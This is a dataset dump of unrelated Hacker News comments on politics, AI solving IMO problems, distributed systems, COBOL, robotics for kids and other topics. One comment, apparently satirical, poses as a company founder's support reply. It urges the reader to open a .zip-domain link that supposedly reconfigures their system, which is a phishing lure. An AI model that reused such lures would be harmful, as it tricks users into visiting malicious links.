skysight-inc/HackerNews huggingface dataset:
> Socialism does not mean central planning of a whole economy

What other forms of semi-stable functional "socialism" are there?

> have become meaningless to discuss political and economical systems with the

Discussing hypothetical pseudo-utopian systems like "socialism" or "communism" isn't particularly meaningful either (from the economics perspective, not philosophical).

IMHO the problem with socialism is that it will pretty always be outcompeted by private ("capitalist") enterprises which can provide goods and services which are both higher quality and cheaper (yes by "underpaying" their workers but also they tend to be much more efficient). Therefore you can't really allow both in the system/country.

So realistically "socialism" can only exist if the state suppresses any alternatives using various degrees of coercion and force. Since no real competition and by extension dissent can exist (i.e. nobody has enough resources to challenge the state without significantly damaging their career/status/wellbeing) the state ends up becoming more and more oppressive/controlling and unavoidable corrupt. I'd love to see any empirical evidence disproving this but as far as I can tell historically that's what always ended up happening.
My first thought too. But the answer also does sound like something AI would write.
FWIW, GPT-4o transcribed a screenshot of problem 1 perfectly into LaTeX, so I don't think "munge the problem into machine-readable form" is per se a difficult part of it these days even if they did somehow take shortcuts (which it sounds like they didn't).
Discussion (248 points, 1 day ago, 175 comments) https://news.ycombinator.com/item?id=41058194
The US health care system is primarily run by the government.
> I’m no security person, so the reasoning felt a bit weird to me, as I guess the .zip TLD can’t hurt anybody

I really apologize that our docs don't cover what to do in your situation. We move really fast with software to bring you the best experience possible and sometimes miss these things.

I'm the founder, John Smith, and I'll provide direct support here for you.

Just go in your browser and open the .zip archive to extract the file you need. You can use chrome, Internet Explorer, Firefox, or any other browser.

In your browser, open the zip file that you downloaded earlier from our website. Open it this way: https://3DGScode.zip/cross-platform-imaging

That's it! Opening the archive in that manner performed a reconfiguration on your exact system, so everything should now work on your end. Sorry about that snafu on our end.
I've found the best way to rate and generate puzzles of a certain perceived difficulty is to have a solver that works the way a human does.

So if you have a puzzle that can be solved using only techniques that interested people can come up with fairly readily/intuitively and apply without a lot of ceremony, then that would be, perhaps, very easy. The more advanced techniques (for humans) needed to solve the puzzle, the harder it would be rated.

You can also feed these techniques into the generation so that you can guide the difficulty as it's being generated (the way I did it, I found it would still fall into puzzles that are easier than the target, or get stuck on puzzles that are too hard, but applying adjustments to backtracking and forward progress based on heuristics observed in "stuck" scenarios seemed to do the trick.
Wow, that's absolutely impressive to hear!

Also it's making me think that in 5-10 years almost all tasks involving computer scientists or mathematicians will be done in AI. Perhaps people going into trades had a point.
You can also see that if you click the link in the post.
Anyone in charge of hiring should be required to successfully obtain a position somewhere once a year so they know what hell they create.
I honestly expected the IOI (International Olympiad of Informatics) to be "beaten" much earlier than the IMO. There's AlphaCode, of course, but on the latest update I don't think it was quite on "silver medal" level. And available LLM's are probably not even on "honourable mention" level.

I wonder if some class of problems will emerge that human competitors are able to solve but are particularly tricky for machines. And which characteristics these problems will have (e.g. they'll require some sort of intuition or visualization that is not easily formalized).

Given how much of a dent LLM's are already making on beginner competitions (AtCoder recently banned using them on ABC rounds [1]), I can't help but think that soon these competitions will be very different.

[1] https://info.atcoder.jp/entry/llm-abc-rules-en
Looking at my own profile the words (topics i know about?) seem sort of generic. "issue", "company" - not sure what to make of that other than I assume those are words I use a lot in comments?
Just because it's large doesn't mean it's relevant: using radare2, IDA Pro, or some other tool doesn't mean you're going to be able to do anything besides look at a binary.

I mean, you said you read the table of contents, yeah? Doing the same thing across different CPU architectures isn't doing something at length, it's just doing the same thing over and over again in rhymes.

In practice, yeah, people in the wild are absolutely modifying binaries, injecting, stubbing .dlls and redirecting calls, or creating proxy servers that alter payloads, for sure.

Learning how to compile a program isn't exactly reverse engineering worthy content to write about.
In my experience (systems engineer/devops for both Windows and Linux for more than 25 years), very few users are actually savvy. Even those working in tech.
I think there is more to it than just the muscle pull force. My understanding is that the chimpanzee muscle skeleton system is configured for much greater leverage for many motions and this is a much larger Factor.
(You're talking to one of the people who was part of the project, which is why I took @ocfnash's answer as authoritative: they did not cheat.)
Interesting that they have a formalizer (used to create the training data) but didn't use it here. Not reliable enough?
Groups are slower and less consistent in decision making than individuals, simple as that.
"...the problem with LLMs is they’ve got all this implicit environment that they carry around with them. You wanted a resume, but what you got was a LLM holding the resume, and the entire BANANA."

- Joe Armstrong, in some alternative reality.
What is it with people that don't spend the extra 5 seconds to properly black out identifying information?

I can read half that name without even trying, and could make out the second half in a couple minutes if I cared enough.
i heard a quote a long time ago "money won't buy you happiness but it's more comfortable to cry in a Mercedes".
Google Takeout is excellent; basically GDPR data downloads 5 years before GDPR was even a thing. Before moving anything to Apple Maps I'd want to be sure they offer a similar feature so I'm not locked in.
Ask HN: Best way to learn robotics with a 10 year old?
Hey all, after discovering the greatness of NHRL[1] my son and i would love to try building a small battle bot, but i know nothing of electrical engineering or robotics.

I prefer to learn how everything works and build something custom instead of just buying a premade kit and following instructions. I was wondering if there are any resources or books that we could go through together that would teach us the basics of electrical engineering and/or robotics.

Thanks!

[1] https://www.youtube.com/watch?v=1GzzckUcnfE
BANANA! Indeed.
This cannot be stated enough - homeless or otherwise people do not like staying in shelters.

They are small, you cannot keep stuff there, and you have to follow rules.

Camping represents the middle class of homelessness and is seen as a step up. It fulfills the desire for autonomy and is often the most comfortable long-term situation for people engaging in it.
> "Despite the intervening 16 years, we're amazed that social networks, even Hacker News, don't compute and display the trusted voices across topics. Instead of prioritizing pages based on content, social networks could prioritize the people behind the content."

Fallacy: appeal to authority. Practically, just because someone generates great content on subject A doesn't mean their take on subject B is any better than random. A well-reasoned self-consistent argument informed by accurate data is far more valuble than 'trust this expert opinion because this expert can be trusted' approaches - although it may require more work on the part of the reader. Don't get lazy.
You called something disingenuous and disgusting without having looked up the basic facts of it?
Don't confuse interpolation with extrapolation. Curing cancer will require new ideas. IMO requires skill proficiency in tasks where the methods of solving are known.
SVG Triangle of Compromise
I think I first learned this from my endocrinologist. Anyway, this is a good guide:

https://www.mountsinai.on.ca/care/lscd/sweet-talk-1/what2019...
Right... except you said:

> If you say it's incorrect, it will give you another answer instead of insisting on correctness.

> When you push it, it responds with the next most common answer.

Which clearly isn't as black and white as you made it seem.
I've heard stereotypes but does anyone have first hand experience with how they were treated as foreign residents in Japan?
"Basically" and "mostly" undermine your assertion.
No, it’s why the we invented the phrase “main character syndrome” for people who exhibit this behavior.
I like how this article discusses when not to use alt text. Unfortunately, it does not mention cases where an image is wrapped up in a figure tag with an associated figcaption tag. Should alt-text be included where this is the case?
Lists can be heterogeneous and often are, yet equal recurses on them.

If you have list-based code that uses equal, you have extra work to do if you want to convert it to vectors.

Vectors comparable with equal make good hash table keys when heterogeneous keys are needed which don't need the structural flexibility of lists.
Yeah, that example is unsound in the same way that Java's type system is unsound, it's a compromise nearly all languages make to avoid forcing you to add checks when you know what you're doing. That's not the kind of problem that people usually are referring to when they single out TypeScript.
In many cases. There are few absolutes at the edges. They have to be decided on a case-by-case basis. Also, failure to decide is deciding.
> the USA's education system has indoctrinated students so deeply into the red scare

Never mind the heavy leftward tilt of teachers, students, and universities.
Sure, that's just one use case. And logs can be useful for history as well as current state. But I think it's the mode shift to "do I set a breakpoint here, and then inspect the program state" as opposed to just continuing to sling code to print the state out.
Rust Can Compete with Python
I wrote COBOL back in the day. It'd be easier IMO to learn COBOL than to deal with a transpiled Go program for the rest of eternity. COBOL is not that hard. What is hard is having systems with hundreds of thousands of lines of code, but that is hard in any language, and maintaining a transpiled version would only be worse. If the use case is to allow COBOL to run on any platform, fine. But if the plan is to transpile to Go, get rid of the COBOL, and maintain the transpiled version because there are more Go programmers, that sounds a little nuts to me.

If companies paid for COBOL programmers what Google pays for C++ programmers, I'm guessing there would be no shortage of COBOL coders.
It is not artificial? so it is natural then?
You've got to at least consider what is going to happen.

The whole point of the CAP theorem is that you can't have a one size fits all design. Network partitions exist, and it's not always a full partition where you have two (or more) distinct groups of interconnected nodes. Sometimes everybody can talk to everybody, except node A can't reach node B. It can even be unidirectional, where node A can't send to B, but node B can send to A. That's just how it is --- stuff breaks.

There's designs that highlight consistency in the face of partitions; if you must have the most recent write, you need a majority read or a source of truth --- if you can't contact that source of truth or a majority of copies in a reasonable time (or at all). And you can't confirm a write unless you can contact the source of truth or do a majority write. As a consequence, you're more likely to hit situations where you reach a healthy frontend, but can't do work because it can't reach a healthy backend; otoh, that's something you should plan for anyway.

There's designs that highlight availability in the face of partitions; if you must have a read and you can reach a node with the data, go for it. This can be extended to writes too, if you trust a node to persist data locally, you can use a journal entry system rather than a state update system, and reconcile when the partition ends. You'll lose the data if the node's storage fails before the partition ends, of course. And you may end up reconciling into an undesirable state; in banking, it's common to pick availability --- you want customers to be able to use their cards even when the bank systems are offline for periodic maintenance / close of day / close of month processing, or unexpected network issues --- but when the systems come back online, some customers will have total transaction amounts that would have been denied if the system was online. Or you can do a last state update wins too --- sometimes that's appropriate.

Of course, there's the underlying horror of all distributed systems. Information takes time to be delivered, so there's no way for a node to know the current status of anything; all information from remote nodes is delayed. This means a node never knows if it can contact another node, it only knows if it was recently able to or not. This also means unless you do some form of locking read, it's not unreasonable for the value you've read to be out of date before you receive it.

Then there's even further horrors in that even a single node is actually a distributed system. Although there's significantly less likelyhood of a network partition between cpu cores on a single chip.
There are elementary Diophantine equations that are independent of ZFC. What is your approach for those?
And so the "AI-canaries" are starting to appear. And I'm sure somebody will soon try to figure out how to avoid them automatically.

I'm sure it will be a fascinating cat and mouse game, except for the part that communication's S/N ratio will get even lower...
> Camping represents the middle class of homelessness and is seen as a step up. It fulfills the desire for autonomy and is often the most comfortable long-term situation for people engaging in it

It also has negative externalities which cannot be ignored.
As a 6'4"+ gentleman who often flies Southwest, I honestly welcome the ability to know whether I'm going to fit into a seat in advance rather than experience the anxiety of spending hours at the airport waiting to get on the plane without any idea how uncomfortable the flight is going to be, then urgently scoping out the bulkhead and exit rows for an opening as soon as I step out of the jetway. (Yes, I pay for Early Bird. No, I don't pay for A1-15.)

I have no idea why non-tall people would care where they sit, but man, for tall people, it's nice knowing how things are going to be.
Those in charge of writing interview problems should also be required to interview at other companies once a year.
non-video link:

https://www.reddit.com/r/AMA/comments/1e9qk2s/i_worked_for_m...
Absolutely. I once did a "how to communicate effectively for executives" course and the guy who ran it said his advice for anyone from a scientific/technical background was to write the long thoughtful email explaining everything. Cut and paste the last paragraph with your conclusion to the top. Make any minor changes in wording you need. Add (preferably within the first 2 sentences) any action you want the person to take or something saying you don't expect them to do anything you're just telling them some information you think they will find useful and (hopefully) why.

His point was that technical people tend to want to produce an argument with all the information etc and then get to the conclusion. Business people typically will read the first paragraph and sigh because they don't know what the email is expecting them to do[1]. Then they go on to doing something else and tell themselves they'll come back to it when they have time.

[1] Especially not knowing whether the email is just for general information or there is a specific action the recipient needs to take.
Good point. But I'd argue that's an artifact of history. Traditional banks started out when eventual consistency was the only choice. First with humans manually reconciling paper ledgers based on messages from couriers and telegraphs, later with the introduction of computers in batch processes that ran over night. The ability to do this live is new to them, and thus their processes are designed to not require it.

Financial institutions set up in this century (like paypal or fintecs) usually do want consistency at all cost. Your risk exposure is a lot lower if you know people don't spend or withdraw more than they have.
> I don't agree with the need for this guarantee.

You don’t get to agree with it or not. It depends on the project! Clearly there exist some projects in the world where it’s important.

But honestly it doesn’t matter. Because as the article shows with random data that median-of-medians is strictly better than random pivot. So even if you don’t need the requirement there is zero loss to achieve it.
Well, that'd be too easy, then, wouldn't it. :)

Due likely to extensions in Firefox, I get empty image previews on X (I believe I deleted my account several years ago). It's not always clear when there's more than one so when I clicked, I saw the response, not the reason. So the one other person on Earth with my wonky setup might get some help ;)
To be clear, I do like the type-checking benefits of TypeScript, but it requires some discipline to keep it simple. Get one unchecked TS astronaut on the team and the TypeScript can get complex and esoteric very quickly.
They already paid you for the code, so it's already theirs, they are just making it explicitly stated. If you don't sign it, they end your employment. And the odds of them willing to lose employment over this and trying to claim the company's code as their own and that getting to court is near non-existent. But again as I said, lawyers like to make it explicit.
The point is not to compare AI and humans, it is to compare AI and IMO-level math problems. It's not for sport.
Agree, they used AI but then didn't even read the first word the generated response? Even if you accidentally glanced at the text you would see it.

That BANANA check would be way more effective if they placed it in the middle of a random sentence.
Partition tends to be a problem between peers, where observers can see they aren’t talking to each other.

In the early days that might have two machines we walked up to seeing different results, now we talk to everything over the internet. We generally mean partition when one vlan is having trouble. One ethernet card is dying or has a bad cable. If the entire thing becomes unreachable we just call it an outage.
twitter is such a pain to follow at least for me.
You can use SEccomp for some of it as well.
But for SEccomp something in the hierarchy needs to do this actively

While SELinux can be set up somewhat orthogonal to the running system.
OTOH systemd should make it easy to confirm every service process
Proofs are here: https://storage.googleapis.com/deepmind-media/DeepMind.com/B...
There are different types of group governance and almost all of them having an individual decision-maker at the front. Oppenheimer directed the Manhattan Project but he wasn't a "visionary individual," he had plenty of talented geniuses working under him.
I was going to recommend

https://en.wikipedia.org/wiki/Lego_Mindstorms

but is is discontinued. In terms of easy of build and programming these were great. This kit is still available

https://education.lego.com/en-us/products/lego-education-spi...
> how about IVR? or an advanced, literally voice-only version of it, where you don't even have to press any digit keys to respond to voice menus?

Again, no one buys things using only such an interface. I am middle aged and have never done, not even in pre-e-commerce times.

It is a non-existent behavior, and there was no reason to think Alexa could will it into existence.
Will note that while not an issue as much today, any 'old timer' might remember that you generally couldn't 'blast the stereo' (when mom and dad left the house) unless you were in a single family home.
I did some research a while ago into ensuring up to date CRLs for a non-browser use case. Besides the problem of the massive size of CRLs, I couldn't find good tools for automatic updates across all trusted CRLs.

My conclusion was that it isn't really practical unless you only trust one or two CAs.
Sorry, i didn't mean to be disingenuous. i meant, ads are not the main source of its income.

And in this context, that's why it is not a foolish choice to spend money on something that it's hard to sell ads on as long as it helps sell more iPhones.
AI in general amplifies capabilities. In some ways it offers new ways to challenge the consolidation of power. The need for courage has not fundamentally changed.
Usually, just checking for access patterns and data structure (like not using a set where it should be).

Also, avoiding code that has pointers to many small pieces everywhere in memory and lead to a bad cache misses score.

Finally, just good old profiling.
> in a place where open source is mandatory, they will have to fund the missing features and it will be available to everyone, once and for all

Or the majority of their users will suffer with substandard products, while highly paid or influential users will get exceptions to the policy so they can use the software they want.
It's named as such to mirror `npx`
You might consider something like the Lego Mindstorms robotics kit.

It gives you an accessible starting point, but is a fully featured programming language and has a variety of sensors, motors, etc which can be made into increasingly complex and diverse robots.
Can you elaborate? How does it fall due to globalization.
You also mentioned “as well” like there a re other examples.
Do you think traveling to Japan would slow its globalization? Do you think Japan is not globalized already? I am curious why you think that globalization would hurt Japan (you used the word: ruined).
They're literally comparing AI to human IMO contestants. "DeepProof solves 4/6 IMO problems correctly" would be the non-comparison version of this press release and would give a better sense for how it's actually doing.
I think micro-aggressions are very real, but maybe the word is a little off. They're not aggressive necessarily, but they are micro.

What I mean is that definitely phrases and questions change meaning, a tiny bit, based off of historical understanding of race and gender. On the surface it seems like a wild proposition, but it's really true.

- wow you're so articulate!
- your hair looks so clean!
- don't you like this kind of music?
- you're a better driver than I expected!
- you're so nurturing!

To you, or me, innocuous. But people say these things for a reason. I've never heard a white man be told he's articulate, or that his hair looks clean. Do you know what I mean?

These things are racially charged and "othering", regardless of if the perpetrator knows it or intends it. I'd say the vast majority of ANY prejudice is unconscious, meaning people don't know they're it.